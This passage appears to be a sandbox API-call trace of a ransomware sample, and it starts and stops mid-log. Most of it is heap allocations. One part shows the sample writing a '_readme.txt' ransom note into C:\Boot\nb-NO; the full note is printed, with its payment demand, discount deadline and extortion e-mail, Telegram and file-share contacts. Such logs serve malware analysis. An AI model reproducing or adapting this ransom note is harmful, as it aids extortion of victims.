RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.633] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.633] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.633] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.633] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.634] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.634] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.634] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.634] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.634] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.634] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.634] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.634] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.634] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.634] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.634] PathFindFileNameW (pszPath="C:\\Boot\\nb-NO\\") returned="nb-NO\\" [0112.634] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.634] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.634] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.634] PathFindFileNameW (pszPath="") returned="" [0112.634] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.635] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.635] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.635] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.635] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.635] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.635] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.635] PathAppendW (in: pszPath="C:\\Boot\\nb-NO\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned 1 [0112.635] PathFileExistsW (pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned 0 [0112.635] lstrcpyW (in: lpString1=0x331f120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.635] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.635] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\_readme.txt" (normalized: "c:\\boot\\nb-no\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.635] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3307758 | out: hHeap=0x660000) returned 1 [0112.635] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f120 | out: hHeap=0x660000) returned 1 [0112.635] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.635] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.636] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.636] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.636] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0112.636] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0112.636] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.636] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.636] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba300 | out: hHeap=0x660000) returned 1 [0112.636] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.636] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.636] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.636] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.636] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.636] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.636] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.636] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.636] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.636] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.636] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.636] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.636] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.636] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.636] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.636] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.636] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.636] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.636] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.636] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.637] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.637] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.637] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.637] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.637] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.637] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.637] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.637] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.637] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.637] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.637] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.637] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.637] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.637] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.637] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.637] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.637] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.637] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.637] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.637] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.637] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.637] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.637] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.637] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.637] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.637] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.637] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.637] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.637] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.637] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.637] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.637] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.637] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.637] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.637] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.638] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.638] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.638] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.638] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.638] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.638] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.638] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.638] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.638] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.638] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.638] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.638] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.638] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.638] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.638] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.638] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.638] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.638] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.638] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.638] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.638] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.638] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.638] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.638] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.638] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.638] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.638] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.638] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.638] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.638] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.638] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.638] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.638] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.638] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.639] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.639] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.639] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.639] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.639] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.639] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.639] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.639] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.639] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.639] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.639] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.639] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.639] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.639] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.639] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.639] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.639] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.639] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.639] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.639] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.639] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.639] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.639] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.639] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.639] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.639] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.639] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.639] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.639] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.639] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.639] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.639] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.639] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.639] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.640] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.640] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.640] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.640] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.640] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.640] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.640] RtlAllocateHeap (HeapHandle=0x660000, 